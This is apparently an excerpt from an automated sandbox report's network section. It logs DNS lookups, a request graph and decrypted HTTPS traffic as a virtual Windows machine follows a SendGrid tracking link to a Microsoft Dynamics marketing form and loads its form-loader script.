Apr 24, 2024 08:22:01.034806013 CEST	1.1.1.1	192.168.2.6	0x20bf	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:22:01.035595894 CEST	1.1.1.1	192.168.2.6	0xe0b	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 08:22:01.035595894 CEST	1.1.1.1	192.168.2.6	0xe0b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:01.035595894 CEST	1.1.1.1	192.168.2.6	0xe0b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.57	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:01.035595894 CEST	1.1.1.1	192.168.2.6	0xe0b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.95	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:01.035595894 CEST	1.1.1.1	192.168.2.6	0xe0b	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.17	A (IP address)	IN (0x0001)	false
Apr 24, 2024 08:22:37.819611073 CEST	1.1.1.1	192.168.2.6	0x2f93	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

u44056869.ct.sendgrid.net

assets-usa.mkt.dynamics.com

https:

cxppusa1formui01cdnsa01-endpoint.azureedge.net

challenges.cloudflare.com

code.jquery.com

o5u7g.zleu9.com

www.google.com

cdn.socket.io

fs.microsoft.com

public-usa.mkt.dynamics.com

slscr.update.microsoft.com

a.nel.cloudflare.com

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 24, 2024 08:21:22.060856104 CEST	173.222.162.64	443	192.168.2.6	49705	CN=r.bing.com, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US	CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Oct 18 22:32:40 CEST 2023 Wed Aug 12 02:00:00 CEST 2020	Fri Jun 28 01:59:59 CEST 2024 Fri Jun 28 01:59:59 CEST 2024	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
Apr 24, 2024 08:21:22.060856104 CEST	173.222.162.64	443	192.168.2.6	49705	CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Aug 12 02:00:00 CEST 2020	Fri Jun 28 01:59:59 CEST 2024		28a2c9bd18a11de089ef85a160da29e4

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49715	20.10.31.115	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 58 64 55 5a 4e 68 47 35 74 6b 32 5a 79 4e 79 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 38 30 66 36 33 39 62 32 66 66 64 33 64 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: XdUZNhG5tk2ZyNyP.1Context: f380f639b2ffd3d5
2024-04-24 06:21:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-24 06:21:09 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 58 64 55 5a 4e 68 47 35 74 6b 32 5a 79 4e 79 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 38 30 66 36 33 39 62 32 66 66 64 33 64 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 48 4d 75 73 42 48 42 36 33 45 50 4e 34 55 6f 64 35 6e 45 35 4f 6d 52 4c 76 52 36 59 45 78 64 46 6b 56 78 6e 70 34 4b 53 59 59 6c 44 53 67 43 47 65 44 76 48 72 61 68 54 4f 72 6f 31 6a 6a 39 32 70 57 59 43 61 62 44 77 58 7a 7a 6e 34 4f 67 30 78 46 4a 2f 33 6c 59 57 79 4b 65 6e 61 30 46 76 53 34 51 33 33 37 4d 4d 2b 79 78 42 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: XdUZNhG5tk2ZyNyP.2Context: f380f639b2ffd3d5<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcHMusBHB63EPN4Uod5nE5OmRLvR6YExdFkVxnp4KSYYlDSgCGeDvHrahTOro1jj92pWYCabDwXzzn4Og0xFJ/3lYWyKena0FvS4Q337MM+yxB
2024-04-24 06:21:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 58 64 55 5a 4e 68 47 35 74 6b 32 5a 79 4e 79 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 38 30 66 36 33 39 62 32 66 66 64 33 64 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: XdUZNhG5tk2ZyNyP.3Context: f380f639b2ffd3d5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-24 06:21:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-24 06:21:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 35 65 71 77 41 32 6c 2b 30 45 32 6d 45 36 61 72 42 76 48 74 36 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 5eqwA2l+0E2mE6arBvHt6w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49716	167.89.115.54	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:11 UTC	1161	OUT	GET /ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D HTTP/1.1 Host: u44056869.ct.sendgrid.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:11 UTC	338	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 24 Apr 2024 06:21:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 162 Connection: close Location: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 X-Robots-Tag: noindex, nofollow
2024-04-24 06:21:11 UTC	162	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49721	13.107.246.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:12 UTC	773	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:12 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:12 GMT Content-Type: text/html Content-Length: 491 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: a97659fcb96bf100cd20cc3d288199cc Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T062112Z-168bb8d798bj2crg3us8a5psdg000000035000000000g3p4 x-fd-int-roxy-purgeid: 69094450 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 06:21:12 UTC	491	IN	Data Raw: 3c 64 69 76 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 69 64 3d 27 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 61 70 69 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 75 62 6c 69 63 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 61 70 69 2f 76 31 2e 30 2f 6f 72 67 73 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 6c 61 6e 64 69 6e 67 70 61 67 65 66 6f 72 6d 73 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 63 61 63 68 65 64 2d 66 6f 72 6d 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d Data Ascii: <div data-form-id='845fbd3d-a401-ef11-a1fd-7c1e521c0288' data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms' data-cached-form-url='https://assets-usa.mkt.dynam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49722	13.107.246.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:13 UTC	592	OUT	GET /usa/FormLoader/FormLoader.bundle.js HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://assets-usa.mkt.dynamics.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:14 UTC	623	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:14 GMT Content-Type: application/javascript Content-Length: 711081 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:18 GMT ETag: 0x8DC3775981D513B x-ms-request-id: 1266ec00-201e-00aa-410f-96c5eb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240424T062113Z-168bb8d798b8nl86frq151a46000000005cg000000001f6d x-fd-int-roxy-purgeid: 66630197 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 06:21:14 UTC	15761	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 46 6f 72 6d 4c 6f 61 64 65 72 2e 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 76 61 72 20 64 33 36 35 6d 6b 74 66 6f 72 6d 73 3b 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 6e 3d 7b 33 31 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 66 65 74 63 68 3d 21 31 2c 74 68 69 73 2e 44 4f 4d 45 78 63 65 70 74 69 6f 6e 3d 6e 2e 44 4f 4d 45 78 63 65 70 74 69 6f 6e 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f Data Ascii: /! For license information please see FormLoader.bundle.js.LICENSE.txt /var d365mktforms;(()=>{var e,t,n={317:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.proto
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 2c 6c 3d 64 28 22 72 65 61 63 74 2e 6c 61 7a 79 22 29 7d 76 61 72 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3b 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 61 63 74 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 2d 64 65 63 6f 64 65 72 2e 68 74 6d 6c 3f 69 6e 76 61 72 69 61 6e 74 3d 22 2b 65 2c 6e 3d 31 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 2b 3d 22 26 61 72 67 73 5b 5d 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 3b 72 65 74 75 72 6e 22 4d 69 6e 69 66 69 65 64 20 52 65 61 63 74 20 65 72 72 6f 72 20 23 22 Data Ascii: ,l=d("react.lazy")}var p="function"==typeof Symbol&&Symbol.iterator;function f(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 70 36 48 41 44 6d 51 66 44 70 53 51 45 58 63 77 69 41 78 55 61 69 78 47 79 49 4b 47 67 48 6b 4d 6c 41 71 65 43 77 4a 41 67 44 73 74 5a 41 67 51 77 4b 45 6a 68 5a 39 41 52 34 4d 41 41 53 47 46 72 67 30 6d 47 44 43 67 51 49 46 6d 62 4d 73 41 47 42 69 2b 38 36 4b 46 42 68 49 34 63 50 77 6d 7a 61 48 41 30 57 51 66 64 75 53 77 49 53 47 69 43 41 4d 70 56 6a 77 6e 45 67 51 41 49 66 6b 45 43 51 6b 41 4e 41 41 73 41 41 41 41 41 42 34 41 48 67 43 46 42 41 59 45 68 49 61 45 78 4d 62 45 52 45 4a 45 70 4b 61 6b 35 4f 62 6b 5a 47 4a 6b 4c 43 6f 73 6c 4a 61 55 31 4e 62 55 74 4c 61 30 39 50 62 30 48 42 6f 63 56 46 4a 55 64 48 4a 30 6a 49 36 4d 7a 4d 37 4d 72 4b 36 73 37 4f 37 73 50 44 34 38 6e 4a 36 63 33 4e 37 63 76 4c 36 38 44 41 34 4d 54 45 70 4d 4e 44 49 30 2f 50 37 Data Ascii: p6HADmQfDpSQEXcwiAxUaixGyIKGgHkMlAqeCwJAgDstZAgQwKEjhZ9AR4MAASGFrg0mGDCgQIFmbMsAGBi+86KFBhI4cPwmzaHA0WQfduSwISGiCAMpVjwnEgQAIfkECQkANAAsAAAAAB4AHgCFBAYEhIaExMbEREJEpKak5ObkZGJkLCoslJaU1NbUtLa09Pb0HBocVFJUdHJ0jI6MzM7MrK6s7O7sPD48nJ6c3N7cvL68DA4MTEpMNDI0/P7
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 28 76 61 72 20 69 20 69 6e 20 6e 29 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 26 26 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 61 70 70 6c 79 28 6e 5b 69 5d 29 7c 7c 74 68 69 73 2e 61 64 64 52 65 73 6f 75 72 63 65 28 65 2c 74 2c 69 2c 6e 5b 69 5d 2c 7b 73 69 6c 65 6e 74 3a 21 30 7d 29 3b 72 2e 73 69 6c 65 6e 74 7c 7c 74 68 69 73 2e 65 6d 69 74 28 22 61 64 64 65 64 22 2c 65 2c 74 2c 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 52 65 73 6f 75 72 63 65 42 75 6e 64 6c 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 35 26 26 76 6f 69 64 20 30 21 Data Ascii: (var i in n)"string"!=typeof n[i]&&"[object Array]"!==Object.prototype.toString.apply(n[i])\|\|this.addResource(e,t,i,n[i],{silent:!0});r.silent\|\|this.emit("added",e,t,n)}},{key:"addResourceBundle",value:function(e,t,n,r,i){var a=arguments.length>5&&void 0!
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 3f 31 3a 65 3c 37 3f 32 3a 65 3c 31 31 3f 33 3a 34 29 7d 2c 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 7c 7c 31 31 3d 3d 65 3f 30 3a 32 3d 3d 65 7c 7c 31 32 3d 3d 65 3f 31 3a 65 3e 32 26 26 65 3c 32 30 3f 32 3a 33 29 7d 2c 31 32 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 65 25 31 30 21 3d 31 7c 7c 65 25 31 30 30 3d 3d 31 31 29 7d 2c 31 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 30 21 3d 3d 65 29 7d 2c 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 3f 30 3a 32 3d 3d 65 3f 31 3a 33 3d 3d 65 3f 32 3a 33 29 7d 2c 31 35 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e Data Ascii: ?1:e<7?2:e<11?3:4)},11:function(e){return Number(1==e\|\|11==e?0:2==e\|\|12==e?1:e>2&&e<20?2:3)},12:function(e){return Number(e%10!=1\|\|e%100==11)},13:function(e){return Number(0!==e)},14:function(e){return Number(1==e?0:2==e?1:3==e?2:3)},15:function(e){return
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 3f 74 68 69 73 2e 6c 6f 67 67 65 72 2e 77 61 72 6e 28 27 64 69 64 20 6e 6f 74 20 73 61 76 65 20 6b 65 79 20 22 27 2e 63 6f 6e 63 61 74 28 6e 2c 27 22 20 61 73 20 74 68 65 20 6e 61 6d 65 73 70 61 63 65 20 22 27 29 2e 63 6f 6e 63 61 74 28 74 2c 27 22 20 77 61 73 20 6e 6f 74 20 79 65 74 20 6c 6f 61 64 65 64 27 29 2c 22 54 68 69 73 20 6d 65 61 6e 73 20 73 6f 6d 65 74 68 69 6e 67 20 49 53 20 57 52 4f 4e 47 20 69 6e 20 79 6f 75 72 20 73 65 74 75 70 2e 20 59 6f 75 20 61 63 63 65 73 73 20 74 68 65 20 74 20 66 75 6e 63 74 69 6f 6e 20 62 65 66 6f 72 65 20 69 31 38 6e 65 78 74 2e 69 6e 69 74 20 2f 20 69 31 38 6e 65 78 74 2e 6c 6f 61 64 4e 61 6d 65 73 70 61 63 65 20 2f 20 69 31 38 6e 65 78 74 2e 63 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 20 77 61 73 20 64 6f 6e 65 2e Data Ascii: ?this.logger.warn('did not save key "'.concat(n,'" as the namespace "').concat(t,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done.
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 6e 28 65 2c 74 2c 6e 2c 72 29 7b 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 77 65 28 6e 29 26 26 28 6e 3d 54 65 28 22 22 2c 6e 29 2e 73 6c 69 63 65 28 31 29 29 2c 65 2e 71 75 65 72 79 53 74 72 69 6e 67 50 61 72 61 6d 73 26 26 28 74 3d 54 65 28 74 2c 65 2e 71 75 65 72 79 53 74 72 69 6e 67 50 61 72 61 6d 73 29 29 3b 74 72 79 7b 76 61 72 20 69 3b 28 69 3d 76 65 3f 6e 65 77 20 76 65 3a 6e 65 77 20 62 65 28 22 4d 53 58 4d 4c 32 2e 58 4d 4c 48 54 54 50 2e 33 2e 30 22 29 29 2e 6f 70 65 6e 28 6e 3f 22 50 4f 53 54 22 3a 22 47 45 54 22 2c 74 2c 31 29 2c 65 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 69 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 2c 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 2c 69 Data Ascii: n(e,t,n,r){n&&"object"===we(n)&&(n=Te("",n).slice(1)),e.queryStringParams&&(t=Te(t,e.queryStringParams));try{var i;(i=ve?new ve:new be("MSXML2.XMLHTTP.3.0")).open(n?"POST":"GET",t,1),e.crossDomain\|\|i.setRequestHeader("X-Requested-With","XMLHttpRequest"),i
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 2e 63 75 72 72 65 6e 74 3d 22 43 75 72 72 65 6e 74 22 7d 28 74 74 7c 7c 28 74 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6e 6f 48 6f 6c 64 6f 75 74 3d 22 6e 6f 48 6f 6c 64 6f 75 74 22 2c 65 2e 68 6f 6c 64 6f 75 74 3d 22 68 6f 6c 64 6f 75 74 22 7d 28 6e 74 7c 7c 28 6e 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 43 6f 6e 64 69 74 69 6f 6e 4d 65 74 3d 22 43 6f 6e 64 69 74 69 6f 6e 4d 65 74 22 2c 65 2e 54 69 6d 65 4c 69 6d 69 74 3d 22 54 69 6d 65 4c 69 6d 69 74 22 7d 28 72 74 7c 7c 28 72 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 53 74 61 6e 64 41 6c 6f 6e 65 3d 22 53 74 61 6e 64 41 6c 6f 6e 65 22 2c 65 2e 53 69 6e 67 6c 65 41 63 74 69 6f 6e 3d 22 53 69 6e 67 6c 65 41 63 74 69 6f 6e 22 2c 65 2e 43 68 Data Ascii: .current="Current"}(tt\|\|(tt={})),function(e){e.noHoldout="noHoldout",e.holdout="holdout"}(nt\|\|(nt={})),function(e){e.ConditionMet="ConditionMet",e.TimeLimit="TimeLimit"}(rt\|\|(rt={})),function(e){e.StandAlone="StandAlone",e.SingleAction="SingleAction",e.Ch
